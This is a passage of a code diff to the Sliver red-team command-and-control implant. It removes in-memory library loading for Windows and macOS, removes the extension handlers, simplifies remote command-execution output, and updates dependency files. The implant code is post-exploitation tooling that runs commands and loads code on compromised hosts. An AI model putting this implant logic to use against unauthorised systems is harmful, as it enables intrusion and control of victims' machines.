github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
|
||||
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
|
||||
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
|
||||
github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
|
||||
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
|
||||
@@ -333,9 +319,8 @@ github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOA
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
|
||||
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+twI54=
|
||||
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
|
||||
github.com/mattn/go-sqlite3 v1.14.5 h1:1IdxlwTNazvbKJQSxoJ5/9ECbEeaTTyeU7sEAZ5KKTQ=
|
||||
github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
|
||||
@@ -372,12 +357,9 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
|
||||
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
|
||||
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
|
||||
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
|
||||
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
|
||||
@@ -529,7 +511,6 @@ golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJ
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 h1:SQFwaSi55rU7vdNs9Yr0Z324VNlrF+0wMqRXT4St8ck=
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@@ -568,7 +549,6 @@ golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210309040221-94ec62e08169/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -703,8 +683,6 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
|
||||
gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
|
||||
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
|
||||
+7
-1
@@ -8,6 +8,12 @@ values such as X.509 certificates, etc. and compiles it to produce a binary.
|
||||
The implant code contains a lot of platform specific code too, which varies the features
|
||||
that will be supported on different platforms.
|
||||
|
||||
Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
|
||||
Platform agnostic code is implemented in `_default.go` files, and can be compiled for any
|
||||
valid Go compiler target but only contains very generic commands/features.
|
||||
|
||||
|
||||
### Adding Implant Features
|
||||
|
||||
Simply adding new files to this directory will not work (but you can edit existing files).
|
||||
In order to add new features you'll need to add the code to this directory AND update the
|
||||
`server/generate/srcfiles.go` which contains a list of files the server should render.
|
||||
+1
-2
@@ -14,5 +14,4 @@ require (
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
)
|
||||
)
|
||||
@@ -69,21 +69,6 @@ func RandomEncoder() (int, Encoder) {
|
||||
return nonce, EncoderMap[encoderID]
|
||||
}
|
||||
|
||||
// RandomTxtEncoder - Get a random nonce identifier and a matching encoder
|
||||
func RandomTxtEncoder() (int, Encoder) {
|
||||
textEncoders := map[int]Encoder{
|
||||
EnglishEncoderID: English{},
|
||||
Base64EncoderID: Base64{},
|
||||
}
|
||||
keys := make([]int, 0, len(textEncoders))
|
||||
for k := range textEncoders {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
encoderID := keys[insecureRand.Intn(len(keys))]
|
||||
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
|
||||
return nonce, textEncoders[encoderID]
|
||||
}
|
||||
|
||||
// NopNonce - A NOP nonce identifies a request with no encoder/payload
|
||||
// any value where mod = 0
|
||||
func NopNonce() int {
|
||||
|
||||
@@ -1,35 +0,0 @@
|
||||
package extension
|
||||
|
||||
import "errors"
|
||||
|
||||
var extensions map[string]Extension
|
||||
|
||||
type Extension interface {
|
||||
Load() error
|
||||
Call(exportName string, arguments []byte, callback func([]byte)) error
|
||||
GetID() string
|
||||
GetArch() string
|
||||
}
|
||||
|
||||
func Add(e Extension) {
|
||||
extensions[e.GetID()] = e
|
||||
}
|
||||
|
||||
func List() []string {
|
||||
var extList []string
|
||||
for id := range extensions {
|
||||
extList = append(extList, id)
|
||||
}
|
||||
return extList
|
||||
}
|
||||
|
||||
func Run(extID string, funcName string, arguments []byte, callback func([]byte)) error {
|
||||
if ext, found := extensions[extID]; found {
|
||||
return ext.Call(funcName, arguments, callback)
|
||||
}
|
||||
return errors.New("{{if .Config.Debug}} extension not found{{end}}")
|
||||
}
|
||||
|
||||
func init() {
|
||||
extensions = make(map[string]Extension)
|
||||
}
|
||||
@@ -1,105 +0,0 @@
|
||||
package extension
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"runtime"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"github.com/Binject/universal"
|
||||
)
|
||||
|
||||
type DarwinExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *universal.Library
|
||||
arch string
|
||||
serverStore bool
|
||||
init string
|
||||
}
|
||||
|
||||
type extensionArguments struct {
|
||||
inDataSize uintptr
|
||||
inDataBuff uintptr
|
||||
outDataSize uintptr
|
||||
outDataBuff uintptr
|
||||
}
|
||||
|
||||
func NewDarwinExtension(data []byte, id string, arch string, init string) *DarwinExtension {
|
||||
return &DarwinExtension{
|
||||
id: id,
|
||||
data: data,
|
||||
arch: arch,
|
||||
init: init,
|
||||
}
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) GetID() string {
|
||||
return d.id
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) GetArch() string {
|
||||
return d.arch
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Load() error {
|
||||
var err error
|
||||
loader, err := universal.NewLoader()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.module, err = loader.LoadLibrary(d.id, &d.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if d.init != "" {
|
||||
if _, errInit := d.module.Call(d.init); errInit != nil {
|
||||
return errInit
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
// We currently have 2 issues with Darwin extensions:
|
||||
// - cppgo (used by universal) fucks up when calling a function with more than 1 argument
|
||||
// - we don't have Go callback support for the loaded extension,
|
||||
// so we have to wait for the call to finish to get the results
|
||||
// To circumvent these issues, we pass the extensionArguments structure
|
||||
// as the only argument to the call, so we can pass args in and extract
|
||||
// the result at the same time.
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
extArgs := extensionArguments{}
|
||||
if len(arguments) > 0 {
|
||||
extArgs.inDataBuff = uintptr(unsafe.Pointer(&arguments[0]))
|
||||
extArgs.inDataSize = uintptr(uint64(len(arguments)))
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
|
||||
// {{end}}
|
||||
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("%s done!\n", export)
|
||||
// {{end}}
|
||||
outData := new(bytes.Buffer)
|
||||
outDataSize := int(extArgs.outDataSize)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Out data size: %d\n", outDataSize)
|
||||
// {{end}}
|
||||
for i := 0; i < outDataSize; i++ {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
|
||||
outData.WriteByte(*b)
|
||||
}
|
||||
// We currently don't have a way to trigger a callback
|
||||
// in the loaded code for Darwin.
|
||||
if outData.Len() > 0 {
|
||||
onFinish(outData.Bytes())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -1,114 +0,0 @@
|
||||
package extension
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"golang.zx2c4.com/wireguard/tun/wintun/memmod"
|
||||
)
|
||||
|
||||
const (
|
||||
Success = 0
|
||||
Failure = 1
|
||||
)
|
||||
|
||||
type WindowsExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
serverStore bool
|
||||
}
|
||||
|
||||
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
|
||||
return &WindowsExtension{
|
||||
id: id,
|
||||
data: data,
|
||||
arch: arch,
|
||||
init: init,
|
||||
}
|
||||
}
|
||||
|
||||
func (w *WindowsExtension) GetID() string {
|
||||
return w.id
|
||||
}
|
||||
|
||||
func (w *WindowsExtension) GetArch() string {
|
||||
return w.arch
|
||||
}
|
||||
|
||||
func (w *WindowsExtension) Load() error {
|
||||
var err error
|
||||
w.module, err = memmod.LoadLibrary(w.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if w.init != "" {
|
||||
initProc, errInit := w.module.ProcAddressByName(w.init)
|
||||
if errInit == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s\n", w.init)
|
||||
// {{end}}
|
||||
syscall.Syscall(initProc, 0, 0, 0, 0)
|
||||
} else {
|
||||
return errInit
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
var (
|
||||
argumentsPtr uintptr
|
||||
argumentsSize uintptr
|
||||
)
|
||||
if w.module == nil {
|
||||
return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
|
||||
}
|
||||
w.onFinish = onFinish
|
||||
callback := syscall.NewCallback(w.extensionCallback)
|
||||
exportPtr, err := w.module.ProcAddressByName(export)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(arguments) > 0 {
|
||||
argumentsPtr = uintptr(unsafe.Pointer(&arguments[0]))
|
||||
argumentsSize = uintptr(uint32(len(arguments)))
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arguments addr: 0x%08x, args size: %08x\n", export, argumentsPtr, argumentsSize)
|
||||
// {{end}}
|
||||
// The extension API must respect the following prototype:
|
||||
// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
|
||||
// where goCallback = int(char *, int)
|
||||
_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
|
||||
if errNo != 0 {
|
||||
return errors.New(errNo.Error())
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// extensionCallback takes a buffer (char *) and its size (int) as parameters
|
||||
// so we can pass data back to the Go process from the loaded DLL
|
||||
func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
|
||||
outDataSize := int(dataLen)
|
||||
outBuff := new(bytes.Buffer)
|
||||
for i := 0; i < outDataSize; i++ {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(i) + data))
|
||||
outBuff.WriteByte(*b)
|
||||
}
|
||||
//TODO: do something with outBuff
|
||||
if outBuff.Len() > 0 {
|
||||
w.onFinish(outBuff.Bytes())
|
||||
}
|
||||
return Success
|
||||
}
|
||||
@@ -20,7 +20,6 @@ package handlers
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bufio"
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"errors"
|
||||
@@ -128,13 +127,7 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
func getDirList(target string) (string, []os.FileInfo, error) {
|
||||
dir, err := filepath.Abs(target)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("dir list failed to construct path %s", err)
|
||||
// {{end}}
|
||||
return "", nil, err
|
||||
}
|
||||
dir, _ := filepath.Abs(target)
|
||||
if _, err := os.Stat(dir); !os.IsNotExist(err) {
|
||||
files, err := ioutil.ReadDir(dir)
|
||||
return dir, files, err
|
||||
@@ -147,7 +140,7 @@ func rmHandler(data []byte, resp RPCResponse) {
|
||||
err := proto.Unmarshal(data, rmReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %s", err)
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
@@ -369,11 +362,7 @@ func uploadHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func executeHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
stdErr io.Writer
|
||||
stdOut io.Writer
|
||||
errWriter *bufio.Writer
|
||||
outWriter *bufio.Writer
|
||||
err error
|
||||
)
|
||||
execReq := &sliverpb.ExecuteReq{}
|
||||
err = proto.Unmarshal(data, execReq)
|
||||
@@ -388,43 +377,9 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
cmd := exec.Command(execReq.Path, execReq.Args...)
|
||||
|
||||
if execReq.Output {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
stdOut = stdOutBuff
|
||||
if execReq.Stderr != "" {
|
||||
stdErrFile, err := os.Create(execReq.Stderr)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdErrFile.Close()
|
||||
errWriter = bufio.NewWriter(stdErrFile)
|
||||
stdErr = io.MultiWriter(errWriter, stdErrBuff)
|
||||
}
|
||||
if execReq.Stdout != "" {
|
||||
stdOutFile, err := os.Create(execReq.Stdout)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdOutFile.Close()
|
||||
outWriter = bufio.NewWriter(stdOutFile)
|
||||
stdOut = io.MultiWriter(outWriter, stdOutBuff)
|
||||
}
|
||||
cmd.Stdout = stdOut
|
||||
cmd.Stderr = stdErr
|
||||
err := cmd.Run()
|
||||
res, err := cmd.CombinedOutput()
|
||||
//{{if .Config.Debug}}
|
||||
log.Println(string(stdOutBuff.String()))
|
||||
log.Println(string(res))
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
// Exit errors are not a failure of the RPC, but of the command.
|
||||
@@ -436,17 +391,7 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
}
|
||||
if errWriter != nil {
|
||||
errWriter.Flush()
|
||||
}
|
||||
if outWriter != nil {
|
||||
outWriter.Flush()
|
||||
}
|
||||
execResp.Stderr = stdErrBuff.String()
|
||||
execResp.Stdout = stdOutBuff.String()
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
execResp.Result = string(res)
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
|
||||
@@ -19,11 +19,8 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -53,11 +50,6 @@ var (
|
||||
sliverpb.MsgPollIntervalReq: pollIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
sliverpb.MsgCallExtensionReq: callExtensionHandler,
|
||||
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// Wireguard specific
|
||||
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
|
||||
@@ -81,70 +73,3 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return darwinPivotHandlers
|
||||
}
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := extension.NewDarwinExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &sliverpb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
callResp.Output = out
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
})
|
||||
// Only send back synchronously if there was an error
|
||||
if err != nil || !gotOutput {
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &sliverpb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
}
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
//go:build !(linux || darwin || windows)
|
||||
// +build !windows !linux !darwin
|
||||
|
||||
package handlers
|
||||
|
||||
@@ -19,11 +19,7 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -32,7 +28,6 @@ import (
|
||||
"os/exec"
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/registry"
|
||||
@@ -96,11 +91,6 @@ var (
|
||||
sliverpb.MsgPollIntervalReq: pollIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
sliverpb.MsgCallExtensionReq: callExtensionHandler,
|
||||
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// Wireguard specific
|
||||
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
|
||||
@@ -228,11 +218,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
stdErr io.Writer
|
||||
stdOut io.Writer
|
||||
errWriter *bufio.Writer
|
||||
outWriter *bufio.Writer
|
||||
err error
|
||||
)
|
||||
execReq := &sliverpb.ExecuteReq{}
|
||||
err = proto.Unmarshal(data, execReq)
|
||||
@@ -252,43 +238,9 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
stdOut = stdOutBuff
|
||||
if execReq.Stderr != "" {
|
||||
stdErrFile, err := os.Create(execReq.Stderr)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdErrFile.Close()
|
||||
errWriter = bufio.NewWriter(stdErrFile)
|
||||
stdErr = io.MultiWriter(errWriter, stdErrBuff)
|
||||
}
|
||||
if execReq.Stdout != "" {
|
||||
stdOutFile, err := os.Create(execReq.Stdout)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdOutFile.Close()
|
||||
outWriter = bufio.NewWriter(stdOutFile)
|
||||
stdOut = io.MultiWriter(outWriter, stdOutBuff)
|
||||
}
|
||||
cmd.Stdout = stdOut
|
||||
cmd.Stderr = stdErr
|
||||
err := cmd.Run()
|
||||
res, err := cmd.CombinedOutput()
|
||||
//{{if .Config.Debug}}
|
||||
log.Println(string(stdOutBuff.String()))
|
||||
log.Println(string(res))
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
// Exit errors are not a failure of the RPC, but of the command.
|
||||
@@ -300,14 +252,7 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
}
|
||||
if errWriter != nil {
|
||||
errWriter.Flush()
|
||||
}
|
||||
if outWriter != nil {
|
||||
outWriter.Flush()
|
||||
}
|
||||
execResp.Stderr = stdErrBuff.String()
|
||||
execResp.Stdout = stdOutBuff.String()
|
||||
execResp.Result = string(res)
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
@@ -635,70 +580,3 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
|
||||
data, err = proto.Marshal(getPrivsResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
